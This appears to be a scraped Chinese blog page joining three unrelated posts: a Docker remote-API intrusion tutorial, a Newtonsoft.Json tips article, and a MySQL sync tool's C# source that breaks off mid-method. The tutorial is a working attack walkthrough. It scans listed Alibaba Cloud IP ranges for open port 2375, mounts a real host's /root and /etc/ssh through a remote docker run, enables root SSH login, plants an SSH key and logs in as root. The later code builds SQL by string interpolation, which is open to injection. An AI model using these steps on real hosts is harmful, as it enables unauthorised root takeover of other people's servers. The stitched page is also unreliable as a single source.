深度优先

这个家伙好懒,除了文章什么都没留下

0%

原文地址:http://www.dockerinfo.net/1416.html

相信了解过docker remote API的同学对2375端口都不陌生了,2375是docker远程操控的默认端口,通过这个端口可以直接对远程的docker daemon进行操作。

当$HOST主机以docker daemon -H=0.0.0.0:2375方式启动daemon时,可以在外部机器对$HOST的docker daemon进行直接操作:

1
docker -H tcp://$HOST:2375 ps

好,说说如何“入侵”,怎么通过这个端口入侵宿主机呢?

这个应该要从几个点说起吧:

  1. docker对user namespace没有做隔离,也就是说,容器内部的root用户就是宿主机的root用户,一旦挂载目录,就可以在容器内部以宿主机的root用户身份对挂载的文件系统随意修改了。
  2. docker服务拥有很高的执行权利(相当于root),并且在docker用户组下的普通用户不需要任何其他验证就可以执行docker run等命令。
  3. 暴露的docker remote API端口如果没有启动ssl验证的话,任何能连通到这台docker宿主机的的机器都可以随意操作这台docker宿主机的docker daemon(docker run、docker ps、docker rm等等这些命令都不在话下)。

结合以上3点,就基本具备入侵docker宿主机的条件了

讲得似乎有点悬,不多说,直接拿一个活鲜鲜的例子来讲吧:

(请允许我用最近新学的一道菜将流程带过 ╮( ̄▽ ̄)╭ )

秘制红烧肉(docker版)

材料:一整块一整块的“5花”IP段,越肥越好(小白用户越多越好)

配料:nmap,docker

step 1: 扫描2375端口

怎么扫?我选用的是简单易用的黑客必备神器nmap了。

扫哪里呢?我选的目标是aliyun的IP段,百度得知:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
42.96.128.0/17    Alibaba (Beijing) Technology Co., Ltd. China
42.120.0.0/16 Aliyun Computing Co., LTD China
42.121.0.0/16 Aliyun Computing Co., LTD China
42.156.128.0/17 Aliyun Computing Co., LTD China
110.75.0.0/16 Asia Pacific Network Information Centre China
110.76.0.0/19 Ali Technology Co., Ltd China
110.76.32.0/20 Aliyun Computing Co., LTD China
110.173.192.0/20 HiChina Web Solutions (Beijing) Limited China
110.173.208.0/20 HiChina Web Solutions (Beijing) Limited China
112.124.0.0/16 Hangzhou Alibaba Advertising Co.,Ltd. China
112.127.0.0/16 Hangzhou Alibaba Advertising Co.,Ltd. China
114.215.0.0/16 Hangzhou Alibaba Advertising Co.,Ltd. China
115.28.0.0/16 HiChina Web Solutions (Beijing) Limited China
115.29.0.0/16 HiChina Web Solutions (Beijing) Limited China
115.124.16.0/22 Hangzhou Alibaba Advertising Co.,Ltd. China
115.124.20.0/22 Hangzhou Alibaba Advertising Co.,Ltd. China
115.124.24.0/21 Hangzhou Alibaba Advertising Co.,Ltd. China
119.38.208.0/21 Hangzhou Alibaba Advertising Co.,Ltd. China
119.38.216.0/21 Hangzhou Alibaba Advertising Co.,Ltd. China
119.42.224.0/20 Alibaba (China) Technology Co., Ltd. China
119.42.242.0/23 Hangzhou Alibaba Advertising Co.,Ltd. China
119.42.244.0/22 Hangzhou Alibaba Advertising Co.,Ltd. China
121.0.16.0/21 Hangzhou Alibaba Advertising Co.,Ltd. China
121.0.24.0/22 Hangzhou Alibaba Advertising Co.,Ltd. China
121.0.28.0/22 Hangzhou Alibaba Advertising Co.,Ltd. China
121.196.0.0/16 Hangzhou Alibaba Advertising Co.,Ltd. China
121.197.0.0/16 Hangzhou Alibaba Advertising Co.,Ltd. China
121.198.0.0/16 Hangzhou Alibaba Advertising Co.,Ltd. China
121.199.0.0/16 Hangzhou Alibaba Advertising Co.,Ltd. China
140.205.0.0/16 Aliyun Computing Co., LTD China
203.209.250.0/23 Hangzhou Alibaba Advertising Co.,Ltd. China
218.244.128.0/19 Hangzhou Alibaba Advertising Co.,Ltd. China
223.4.0.0/16 Hangzhou Alibaba Advertising Co.,Ltd. China
223.5.0.0/16 Hangzhou Alibaba Advertising Co.,Ltd. China
223.5.5.0/24 Hangzhou Alibaba Advertising Co.,Ltd. China
223.6.0.0/16 Hangzhou Alibaba Advertising Co.,Ltd. China
223.6.6.0/24 Hangzhou Alibaba Advertising Co.,Ltd. China
223.7.0.0/16 Hangzhou Alibaba Advertising Co.,Ltd.

我不生产IP,我只是百度的搬运工,别问我这些IP从那来,我也想知道~ >.<

将上面IP内容保存在一个文件中,如 aliyun.list

开始扫描:

1
2
3
4
5
6
7
8
9
10
11
cat aliyun.list| awk '{print $1}' | xargs -n 1 -I {} nmap -sT -p2375 {} --open
# 简单解释一下命令:
# awk 将第一列IP网段过滤出来
# xargs 将过滤出来的IP一个一个的分次送给nmap,-I {} 是指使用{}来代替传送的参数
# ...
# Starting Nmap 7.01 ( https://nmap.org ) at 2016-06-05 09:57 CST
# Nmap scan report for 42.96.MOSAIC.MOSAIC
# Host is up (0.070s latency).
# PORT STATE SERVICE
# 2375/tcp open docker
# ...

不到两分钟,第一块42.96.MOSAIC.MOSAIC(五花肉已打码) “五花肉”选好了,来吧~

step 2: 测试2375的直接控制权

1
2
3
4
5
6
7
8
docker -H tcp://42.96.MOSAIC.MOSAIC:2375 ps

# CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS
# 73aa690e7c92 imdjh/owncloud-with-ocdownloader "/entrypoint.sh" 9 days ago Up 3 days 0.0.0.0:9009->80
# f57c56af0e29 rethinkdb:2.3.2 "rethinkdb --bind all" 9 days ago Up 3 days 8080/tcp, 28015/
# 37c1401db593 gaomd/ikev2-vpn-server:0.3.0 "/bin/sh -c /usr/bin/" 10 days ago Up 3 days 0.0.0.0:500->500
# af7338a5426d nginx:1.9-alpine "nginx -g 'daemon off" 3 weeks ago Up 3 days 443/tcp, 0.0.0.0
# ...

这个服务器的owner也太配合了(⊙ο⊙),ps直接看到内容,说明这个主机的2375是没有ssl验证的,基本满足入侵要求。

“五花”洗好,切好,准备下锅~

step 3: 远程启动自己的容器

拿到了docker的控制权能做什么呢?拿到了就呵呵了~

1
2
3
4
5
6
7
8
# images 看看本地已有的镜像
# docker -H tcp://42.96.MOSAIC.MOSAIC:2375 images
# ...
# swarm latest 47dc182ea74b 4 weeks ago 19.32 MB
# jwilder/nginx-proxy latest 203b20631e41 4 weeks ago 255.6 MB
# ubuntu latest c5f1cf30c96b 4 weeks ago 120.8 MB
# shipyard/shipyard latest ba426f0944bc 5 weeks ago 58.92 MB
# ...

省略了一部分输出,镜像还蛮多的,就选个ubuntu吧

1
2
# docker -H tcp://42.96.MOSAIC.MOSAIC:2375 run --rm -it --entrypoint bash -v /root:/tmp/root -v /etc/ssh:/tmp/ssh_etc -v /var/log:/tmp/log ubuntu

看到这步,相信对ssh有一些了解的同学应该就明白了

step 4: ssh pub key 注入

在刚刚启动的容器中先看看 /tmp/ssh_etc/sshd_config (就是宿主机的/etc/ssh/sshd_config) 的PermitRootLogin字段。如果是no就改成yes,允许root通过ssh登录

然后在你的机器上生成一对新的pub key(已经有ssh key的也建议生成一个新的,不要使用自己日常使用的ssh pub key)

1
2
3
4
# 使用 ssh-keygen生成
ssh-keygen -t rsa -C "hello@world.com"
# 执行命令后的提示Enter file in which to save the key要看好,不要把自己的ssh key覆盖了,可以选着/tmp/id_rsa
# 其他提示enter到底即可

继续,注入ssh pub key,回到刚刚启动的容器执行

1
2
3
4
5
cat >> /tmp/root/.ssh/authorized_keys <<EOF
>ssh-rsa AAA.... # 这里粘贴你刚刚在自己机器生成的/tmp/id_rsa.pub
>EOF

# 如果/tmp/root/.ssh目录不存在,就直接创建

八角香叶生抽老抽醋都加上,中火烹饪,准备出锅~

step 5: 登入服务器

1
2
3
4
5
6
7
8
9
10
11
12
13
# ssh -i 指定秘钥登录
ssh -i /tmp/id_rsa root@42.96.MOSAIC.MOSAIC

# Welcome to Ubuntu 14.04.1 LTS (GNU/Linux 3.13.0-32-generic x86_64)
#
# * Documentation: https://help.ubuntu.com/
#
# Welcome to aliyun Elastic Compute Service!
#
# Last login: Fri Jun 3 01:38:07 2016 from 120.85.MOSAIC.MOSAIC
# manpath: can't set the locale; make sure $LC_* and $LANG are correct
# root@iZ28p9b7e***:~#
# ...

大火收汁,起锅!

郑重声明

以上教程仅为交流学习之用,42.96.MOSAIC.MOSAIC 服务器上的id_rsa.pub在制作完本教程后已主动清除,并在服务上留言告知。

如果你一不小心也发现了可用的2375端口,希望也能点到即止,误做他用,或者发现其他入侵漏洞,可以和大家交流学习。

2375是docker漏洞吗?

非也!2375直接裸露地暴露在公网上纯属是用户习惯或者偷懒的问题,2375可以在相对安全的内部网络中方便测试使用,并不适合使用在投入到生产环境中。

docker官网第一篇文档quick start上有句话是这样子的:

1
2
3
4
5
6
Warning: Changing the default docker daemon binding to a TCP port or
Unix docker user group will increase your security risks by allowing
non-root users to gain root access on the host. Make sure you control
access to docker. If you are binding to a TCP port, anyone with
access to that port has full Docker access; so it is not advisable
on an open network.

已经Warning告知:如果将daemon直接暴露在一个TCP端口,将可能会被以非root用户去获取宿主机的root权限。其实上面的说提到的服务器之所以这么容器被入侵,也正是这个原因。

何以防之

那么,问题来了,如果想用Remote API,又不想有被入侵的风险,怎么办呢?

docker官方文档上介绍了一种通过CA认证方式使用Remote API

具体可以参考:Protect the Docker daemon socket

(等理解了再补一篇博客吧,就姑且让我以一个链接的形式带过吧O.O)

配置过程还算是比较简单的,下面放一张图,展示配置SSL后的效果:

https://www.cnblogs.com/huangxincheng/p/13171388.html

讲故事

看完官方文档,阅读了一些 Newtonsoft 源码,对它有了新的认识,先总结 六个超经典又实用的特性,同大家一起分享,废话不多说,快来一起看看吧~

特性分析

代码格式化

如果你直接使用 JsonConvert.SerializeObject的话,默认情况下所有的json是挤压在一块的,特别不方便阅读,如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
static void Main(string[] args)
{
var reportModel = new ReportModel()
{
ProductName = "法式小众设计感长裙气质显瘦纯白色仙女连衣裙",
TotalPayment = 100,
TotalCustomerCount = 2,
TotalProductCount = 333
};

var json = JsonConvert.SerializeObject(reportModel);

System.Console.WriteLine(json);
}

public class ReportModel
{
public string ProductName { get; set; }
public int TotalCustomerCount { get; set; }
public decimal TotalPayment { get; set; }
public int TotalProductCount { get; set; }
}

那怎么办呢? JsonConvert中提供了一个 Formatting.Indented 用来格式化json,这样在 debug 的过程中就非常友好,改造如下:

踢掉没有被赋值的字段

如果你写过给 App 提供数据的后端服务,我相信你对手机流量这个词特别敏感,往往一个 Model 上有十几个字段,但需要传给 App 可能就 三四个字段,这就造成了巨大的流量浪费,如下图:

1
2
3
4
5
6
7
8
9
10
11
12
static void Main(string[] args)
{
var reportModel = new ReportModel()
{
ProductName = "法式小众设计感长裙气质显瘦纯白色仙女连衣裙",
TotalPayment = 100
};

var json = JsonConvert.SerializeObject(reportModel, Formatting.Indented);

System.Console.WriteLine(json);
}

从图中可以看到,TotalCustomerCountTotalProductCount 这两个字段就没必要了,Netnewsoft 中提供了 DefaultValueHandling.Ignore 剔除默认值的枚举,太实用了,改造如下:

1
2
3
4
5
var json = JsonConvert.SerializeObject(reportModel, Formatting.Indented,
new JsonSerializerSettings
{
DefaultValueHandling = DefaultValueHandling.Ignore
});

兼容其他语言的 驼峰,蛇形命名法

每一套编程语言都有各自偏好的命名法,比如 js 中都喜欢采用 驼峰命名法,在 mysql 中我见过最多的 蛇形命名法,而我们在 C# 中序列化的属性一般都是大写字母开头,比如你看到的 特性二 中的字段,那这里就存在问题了,有没有办法兼容一下,给 js 就用 驼峰,给 mysql 就用 蛇形,这样显得对别人友好一些,不是嘛😄😄😄,接下来看看怎么改造。

  • 驼峰命名 CamelCasePropertyNamesContractResolver
1
2
3
4
5
var json = JsonConvert.SerializeObject(reportModel, Formatting.Indented,
new JsonSerializerSettings
{
ContractResolver = new CamelCasePropertyNamesContractResolver()
});

  • 蛇形命名 SnakeCaseNamingStrategy
1
2
3
4
5
6
7
8
var json = JsonConvert.SerializeObject(reportModel, Formatting.Indented,
new JsonSerializerSettings
{
ContractResolver = new DefaultContractResolver()
{
NamingStrategy = new SnakeCaseNamingStrategy()
}
});

自定义属性的名字

如果你和第三方系统进行过对接开发,通常都会遇到这个问题,就拿 OpenTaobao 来说,我的Model总不能按照它文档这样定义吧,而且字段名称也不可能做到完全一致,如下图:

所以这里面必然要存在一个 Mapping 的过程,这就可以用 JsonProperty -> propertyName 帮你搞定,为了方便演示,我还是用 reportModel 吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
static void Main(string[] args)
{
var json = "{'title':'法式小众设计感长裙气质显瘦纯白色仙女连衣裙','customercount':1000,'totalpayment':100.0,'productcount':10000}";

var reportModel = JsonConvert.DeserializeObject<ReportModel>(json);
}

public class ReportModel
{
[JsonProperty("title")] public string ProductName { get; set; }
[JsonProperty("customercount")] public int TotalCustomerCount { get; set; }
[JsonProperty("totalpayment")] public decimal TotalPayment { get; set; }
[JsonProperty("productcount")] public int TotalProductCount { get; set; }
}

对字段的 正向剔除 和 反向剔除

可能有些朋友对这两个概念不是特别了解,这里我仅显示 Model 中的 ProductName 为例讲解一下:

  • 正向剔除: 默认所有都显示,手工踢掉不显示的,使用 MemberSerialization.OptOut 配合 JsonIgnore
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
static void Main(string[] args)
{
var reportModel = new ReportModel()
{
ProductName = "法式小众设计感长裙气质显瘦纯白色仙女连衣裙",
TotalPayment = 100
};

var json = JsonConvert.SerializeObject(reportModel, Formatting.Indented);

System.Console.WriteLine(json);
}

[JsonObject(MemberSerialization.OptOut)]
public class ReportModel
{
public string ProductName { get; set; }
[JsonIgnore] public int TotalCustomerCount { get; set; }
[JsonIgnore] public decimal TotalPayment { get; set; }
[JsonIgnore] public int TotalProductCount { get; set; }
}

  • 反向剔除: 默认都不显示,手工指定要显示的,使用 MemberSerialization.OptIn 配合 JsonProperty
1
2
3
4
5
6
7
8
[JsonObject(MemberSerialization.OptIn)]
public class ReportModel
{
[JsonProperty] public string ProductName { get; set; }
public int TotalCustomerCount { get; set; }
public decimal TotalPayment { get; set; }
public int TotalProductCount { get; set; }
}

多个json 合并到 一个Model

这个特性当初打破了我对 Newtonsoft 的认知观,不知道您呢? 通常我们都会认为 一个 json 对应一个 model,一个 model 对应一个 json,居然还可以多个 json 对应一个 model 的情况,这就有意思了,场景大家可以自己想一想哈,这里使用 PopulateObject 方法就可以轻松帮你搞定,接下来看看怎么写这个代码:

1
2
3
4
5
6
7
8
9
10
static void Main(string[] args)
{
var json1 = "{'ProductName':'法式小众设计感长裙气质显瘦纯白色仙女连衣裙'}";
var json2 = "{'TotalCustomerCount':1000,'TotalPayment':100.0,'TotalProductCount':10000}";

var reportModel = new ReportModel();

JsonConvert.PopulateObject(json1, reportModel);
JsonConvert.PopulateObject(json2, reportModel);
}

是不是有点意思😄😄😄

总结

为了怕影响阅读体验,这一篇就先总结六个供大家欣赏,Newtonsoft 这玩意确实非常强大,太多的东西需要去挖掘,希望本篇对你有帮助,谢谢。

写了个MySql数据库的同步数据的小工具,支持创建数据库,创建表,根据过滤条件同步表数据!

同步数据用到的是 MySqlBulkCopy

界面如下:

MySqlDBHelper

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
using KBS_Sync_Database.Models;
using MySql.Data.MySqlClient;
using System;
using System.Collections.Generic;
using System.Data;
using System.Data.SqlClient;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace KBS_Sync_Database.Helper
{
public class MySqlDBHelper
{
private readonly string _connectionConfig = string.Empty;

public MySqlDBHelper(string connectionConfig)
{
_connectionConfig = connectionConfig;
}

private MySqlConnection connection;

public MySqlConnection Connection
{
get
{
try
{
MySqlConnection myConn = new MySqlConnection(_connectionConfig);
string connectionString = myConn.ConnectionString;
if (connection == null)
{
connection = new MySqlConnection(connectionString);
connection.Open();
}
else if (connection.State == System.Data.ConnectionState.Closed)
{
connection.Open();
}
else if (connection.State == System.Data.ConnectionState.Broken)
{
connection.Close();
connection.Open();
}
return connection;
}
catch (Exception ex)
{
throw ex;
}
}
}

public List<TableModel> GetTables(string databaseName)
{
try
{
var sql = @"SELECT
TABLE_NAME,
COLUMN_NAME,
ORDINAL_POSITION,
COLUMN_DEFAULT,
IS_NULLABLE,
COLUMN_TYPE,
COLUMN_COMMENT,
COLUMN_KEY
FROM information_schema.columns
WHERE table_schema = '{0}'
ORDER BY TABLE_NAME,ORDINAL_POSITION";

sql = string.Format(sql, databaseName);
var dataTable = GetDataSet(sql);

var tableModels = new List<TableModel>();
foreach (DataRow row in dataTable.Rows)
{
var tableName = row.Field<string>("TABLE_NAME");

var tableModel = tableModels.SingleOrDefault(p => p.TableName == tableName);
if (tableModel is null)
{
tableModel = new TableModel()
{
TableName = tableName,
TableSchema = databaseName,
Where = string.Empty
};
tableModels.Add(tableModel);
}

tableModel.Fields.Add(
new FieldModel()
{
ColumnName = row["COLUMN_NAME"].ToString(),
OrdinalPosition = row["ORDINAL_POSITION"].ToString(),
ColumnDefault = row["COLUMN_DEFAULT"].ToString(),
IsNullAble = row["IS_NULLABLE"].ToString(),
ColumnType = row["COLUMN_TYPE"].ToString(),

ColumnKey = row["COLUMN_KEY"].ToString(),
ColumnComment = row["COLUMN_COMMENT"].ToString(),
});
}
return tableModels;
}
catch (Exception ex)
{
throw ex;
}
}

internal List<string> GetTableNames()
{
List<string> tables = new List<string>();
var configs = _connectionConfig.Split(';');
var databaseName = configs.FirstOrDefault(p => p.StartsWith("database="))?.Replace("database=", string.Empty);
var sql = $"SELECT table_name FROM information_schema.columns WHERE table_schema = '{databaseName}' GROUP BY table_name;";
var table = GetDataSet(sql);
foreach (DataRow row in table.Rows)
{
tables.Add(row[0].ToString());
}
return tables;
}

public int ExecuteCommand(string safeSql)
{
try
{
MySqlCommand cmd = new MySqlCommand(safeSql, Connection);
int result = cmd.ExecuteNonQuery();
return result;
}
catch (Exception ex)
{
throw ex;
}
}

public int ExecuteCommand(string sql, params MySqlParameter[] values)
{
MySqlCommand cmd = new MySqlCommand(sql, Connection);
cmd.Parameters.AddRange(values);
return cmd.ExecuteNonQuery();
}

public int GetScalar(string safeSql)
{
MySqlCommand cmd = new MySqlCommand(safeSql, Connection);
int result = Convert.ToInt32(cmd.ExecuteScalar());
return result;
}

public int GetScalar(string sql, params MySqlParameter[] values)
{
MySqlCommand cmd = new MySqlCommand(sql, Connection);
cmd.Parameters.AddRange(values);
int result = Convert.ToInt32(cmd.ExecuteScalar());
return result;
}

public MySqlDataReader GetReader(string safeSql)
{
MySqlCommand cmd = new MySqlCommand(safeSql, Connection);
MySqlDataReader reader = cmd.ExecuteReader();
return reader;
}

public MySqlDataReader GetReader(string sql, params MySqlParameter[] values)
{
MySqlCommand cmd = new MySqlCommand(sql, Connection);
cmd.Parameters.AddRange(values);
MySqlDataReader reader = cmd.ExecuteReader();
return reader;
}

public DataTable GetDataSet(string safeSql)
{
try
{
DataSet ds = new DataSet();
MySqlCommand cmd = new MySqlCommand(safeSql, Connection);
MySqlDataAdapter da = new MySqlDataAdapter(cmd);
da.Fill(ds);
return ds.Tables[0];
}
catch (Exception ex)
{
throw ex;
}
}

public MySqlDataAdapter GetAdapter(string safeSql)
{
DataSet ds = new DataSet();
MySqlCommand cmd = new MySqlCommand(safeSql, Connection);
MySqlDataAdapter da = new MySqlDataAdapter(cmd);
return da;
}

public DataTable GetDataSet(string sql, params MySqlParameter[] values)
{
try
{
DataSet ds = new DataSet();
MySqlCommand cmd = new MySqlCommand(sql, Connection);
cmd.Parameters.AddRange(values);
MySqlDataAdapter da = new MySqlDataAdapter(cmd);
da.Fill(ds);
return ds.Tables[0];
}
catch (Exception ex)
{
throw ex;
}
}

public bool SqlBulkCopyInsert(out string msg, string strTableName, DataTable dtData)
{
try
{
msg = string.Empty;
MySqlBulkCopy sqlRevdBulkCopy = new MySqlBulkCopy(Connection)
{
DestinationTableName = strTableName, //数据库中对应的表名
NotifyAfter = dtData.Rows.Count, //有几行数据
BulkCopyTimeout = 60 * 5,
};
sqlRevdBulkCopy.WriteToServer(dtData);//数据导入数据库
return true;
}
catch (Exception ex)
{
msg = ex.Message;
return false;
}
}

public bool TableExists(string database, string tableName)
{
var sql = "SELECT 1 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = @TABLE_SCHEMA AND TABLE_NAME = @TableName";
MySqlParameter[] parameters = new MySqlParameter[]
{
new MySqlParameter(){ ParameterName="@TABLE_SCHEMA", Value= database},
new MySqlParameter(){ ParameterName="@TableName", Value= tableName},
};
return GetScalar(sql, parameters) > 0;
}
}
}

FrmMain

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
using KBS_Sync_Database.Helper;
using KBS_Sync_Database.Models;
using MySql.Data.MySqlClient;
using Newtonsoft.Json;
using Newtonsoft.Json.Linq;
using NLog;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Text;
using System.Text.RegularExpressions;
using System.Threading.Tasks;
using System.Windows.Forms;

namespace KBS_Sync_Database
{
public partial class FrmMain : Form
{
private Logger _log;

public FrmMain()
{
InitializeComponent();
}

private DatabaseModel _readDatabaseInfo { get; set; }
private DatabaseModel _writerDatabaseInfo { get; set; }

private void Form1_Load(object sender, EventArgs e)
{
var config = new NLog.Config.LoggingConfiguration();
var logfile = new NLog.Targets.FileTarget("logfile") { FileName = "logs/${shortdate}.log", Layout = "[${longdate}]${message}" };
config.AddRule(LogLevel.Debug, LogLevel.Fatal, logfile);
NLog.LogManager.Configuration = config;

_log = NLog.LogManager.GetCurrentClassLogger();
Log(Color.Green, "程序启动成功!");

try
{
var settingString = ReaderSetting();
if (!string.IsNullOrWhiteSpace(settingString))
{
var json = JObject.Parse(settingString);
this.txtReadConf.Text = json["readConf"]?.ToString();
this.txtWriterConf.Text = json["writerConf"]?.ToString();
this.txtWhereConf.Text = json["whereConf"]?.ToString();
}
}
catch (Exception ex)
{
_log.Error($"读取配置文件错误:{ex.Message}");
}
}

private void btnRead_Click(object sender, EventArgs e)
{
try
{
_readDatabaseInfo = new DatabaseModel(this.txtReadConf.Text);
MySqlDBHelper readMySqlDBHelper = new MySqlDBHelper(_readDatabaseInfo.ToString());

if (readMySqlDBHelper.Connection.State == ConnectionState.Open)
{
Log(Color.Green, "【读取数据库】连接成功!");
}

_readDatabaseInfo.TableModels = readMySqlDBHelper.GetTables(_readDatabaseInfo.Database);

lbReadDatabase.Items.Clear();
foreach (var table in _readDatabaseInfo.TableModels)
{
lbReadDatabase.Items.Add(table.TableName);
}
Log(Color.Green, $"【读取数据库】共有【{_readDatabaseInfo.TableModels.Count()}】张表!");
}
catch (Exception ex)
{
Log(Color.Red, $"错误:{ex.Message}");
}
}

private void btnWriter_Click(object sender, EventArgs e)
{
try
{
_writerDatabaseInfo = new DatabaseModel(this.txtWriterConf.Text);
MySqlDBHelper writerMySqlDBHelper = new MySqlDBHelper(_writerDatabaseInfo.ToString());

if (writerMySqlDBHelper.Connection.State == ConnectionState.Open)
{
Log(Color.Green, "【写入数据库】连接成功!");
}

_writerDatabaseInfo.TableModels = writerMySqlDBHelper.GetTables(_writerDatabaseInfo.Database);

lbWriterDatabase.Items.Clear();
foreach (var table in _writerDatabaseInfo.TableModels)
{
lbWriterDatabase.Items.Add(table.TableName);
}
Log(Color.Green, $"【写入数据库】共有【{_writerDatabaseInfo.TableModels.Count()}】张表!");
}
catch (Exception ex)
{
Log(Color.Red, $"错误:{ex.Message}");
}
}

private int GetIndexOf(string str)
{
var operators = new List<string>() { ">=", "<=", "<>", " like ", "=", "not in", " in" };
foreach (var oper in operators)
{
if (str.Trim().ToLower().IndexOf(oper) != -1)
{
return str.IndexOf(oper);
}
}
Log(Color.Red, $"过滤条件:{str} 不被支持!");
return 0;
}

private void btnSync_Click(object sender, EventArgs e)
{
try
{
messagesList.Items.Clear();
if (lbReadDatabase.SelectedItems.Count == 0)
{
Log(Color.Red, $"没有选择任何需要同步的表");
return;
}
if (Check() == false)
{
return;
}
MySqlDBHelper readMySqlDBHelper = new MySqlDBHelper(this.txtReadConf.Text);
MySqlDBHelper writerMySqlDBHelper = new MySqlDBHelper(this.txtWriterConf.Text + " ;AllowLoadLocalInfile = true;");

foreach (var selectedItem in lbReadDatabase.SelectedItems)
{
var sql = $"SELECT * FROM {selectedItem}";
var dataTable = readMySqlDBHelper.GetDataSet(sql);
var tableName = GetTableName(selectedItem.ToString());

Log(Color.Blue, $"开始同步【{tableName}】表的 【{dataTable.Rows.Count}】 条数据!");
if (dataTable.Rows.Count != 0)
{
var idList = new List<string>();
foreach (DataRow row in dataTable.Rows)
{
idList.Add($"'{row[0]}'");
}
_log.Error($"【{tableName}】表的同步的主键Id【({string.Join(",", idList)})】!");

if (!writerMySqlDBHelper.SqlBulkCopyInsert(out string msg, tableName, dataTable))
{
Log(Color.Red, $"同步错误信息:{msg}");
//https://my.oschina.net/u/4265966/blog/3324325
}
else
{
Log(Color.Blue, $"【{tableName}】表的 【{dataTable.Rows.Count}】 条数据同步成功!");
}
}
else
{
Log(Color.Blue, $"【{tableName}】表的 【{dataTable.Rows.Count}】 条数据同步成功!");
}
}
}
catch (Exception ex)
{
Log(Color.Red, $"错误:{ex.Message}");
}
}

private bool Check()
{
var flag = true;
//检查 读取数据库表 是否存在 写入数据库表
foreach (string selectedItem in lbReadDatabase.SelectedItems)
{
var tableName = GetTableName(selectedItem);
var writerTable = _writerDatabaseInfo.TableModels.SingleOrDefault(p => p.TableName == tableName);
var readTable = _readDatabaseInfo.TableModels.SingleOrDefault(p => p.TableName == tableName);
if (writerTable != null)
{
//检查字段
if (writerTable.Fields.Count != readTable.Fields.Count)
{
Log(Color.Red, $"错误:【{tableName}】表 对应字段数目不一致!");
flag = false;
continue;
}
for (int i = 0; i < readTable.Fields.Count; i++)
{
if (writerTable.Fields[i].ColumnName != readTable.Fields[i].ColumnName)
{
Log(Color.Red, $"错误:【{tableName}】表的 【{writerTable.Fields[i].ColumnName}】字段对应不上!");
flag = false;
}
}
}
else
{
Log(Color.Red, $"错误:写入数据库不存在 【{selectedItem}】表!");
flag = false;
}
}
return flag;
}

private string GetTableName(string str)
{
var tableName = str.ToString().Trim().ToLower();
if (tableName.IndexOf("where") != -1)
{
tableName = tableName.Substring(0, tableName.IndexOf("where"));
}
return Regex.Replace(tableName, "`| |\"", string.Empty);
}

private void btnClear_Click(object sender, EventArgs e)
{
messagesList.Items.Clear();
}

private void btnFilter_Click(object sender, EventArgs e)
{
try
{
var fields = txtWhereConf.Text.Trim().Split(';');
for (int i = 0; i < lbReadDatabase.Items.Count; i++)
{
var tableName = GetTableName(lbReadDatabase.Items[i].ToString());

var tableFields = _readDatabaseInfo.TableModels.SingleOrDefault(p => p.TableName == tableName)?.Fields;
var whereFields = new List<string>();
foreach (var field in fields)
{
if (!string.IsNullOrWhiteSpace(field))
{
